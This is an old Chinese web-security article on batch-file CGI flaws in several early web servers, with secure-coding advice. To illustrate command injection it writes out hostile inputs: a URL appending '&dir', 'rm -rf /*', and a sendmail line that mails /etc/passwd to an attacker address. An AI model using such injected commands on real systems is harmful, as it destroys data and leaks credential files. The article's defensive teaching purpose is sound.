Web 安全技术与防火墙
http://tech.ddvip.com 2007年06月22日 社区交流 收藏本文
内容摘要:计算机的安全性历来都是人们讨论的主要话题之一。而计算机安全主要研究的是计算机病毒的防治和系统的安全。在计算机网络日益扩展和普及的今天,计算机安全的要求更高,涉及面更广。不但要求防治病毒,还要提高系统抵抗外来非法黑客入侵的能力,还要提高对远程数据传输的保密性,避免在传输途中遭受非法窃取。
〖2〗CGI执行批处理文件的漏洞
文件名:test.bat:
@echo off
echo Content-type: text/plain
echo
echo Hello World!如果客户浏览器的URL为:/cgi-bin/test.bat?&dir则执行调用命令解释器完成dir列表。这给访问者有执行其他命令可能性。
2)O'Reilly WebSite server for Windows NT/95
在WebSite1.1B以前的版本中使用配处理文件存在着Netscape同样的漏洞,但是,新版关闭.bat在cgi中的作用。支持perl,VB和C作为CGI开发工具。至于他的安全问题参看:http://website.ora.com/devcomer/secalert1。
3)Microsoft's IIS Web Server
在96年3月5日前的IIS在NT下的.bat CGI的 bug甚至比其他更严重,可以任意使用command命令。但之后修补该漏洞。你可检查你的可执行文件的建立日期。IIS3.0还存在一些安全bug,主要是cgi-bin下的覆给权利。
另外,许多 WEB服务器本身都存在一些安全上的漏洞,都是在版本升级过程不断更新。在这就不一一列举。 从CGI编程角度考虑安全:
〔1〕采用编译语言比解释语言会更安全些,并且 CGI程序应放在独立于HTML 存放目录之外的CGI-BIN下,是为了防止一些非法访问者从浏览器端取得解释性语言的原代码后从中寻找漏洞。
〔2〕在用C来编写CGI程序时尽量少用popen(), system()和所有涉及/bin/sh 的shell命令。在Perl中system(), exec(), open(),eval()等exec或eval之类命令。在由用户填写的form还回cgi时,不要直接调用system()之类函数。这是为避免当填写内容为"rm -rf /*"或"/usr/lib/sendmail nobody@nowhere.com; mail badguys@hell.org< /etc/passwd"之类内容。
责编:豆豆技术应用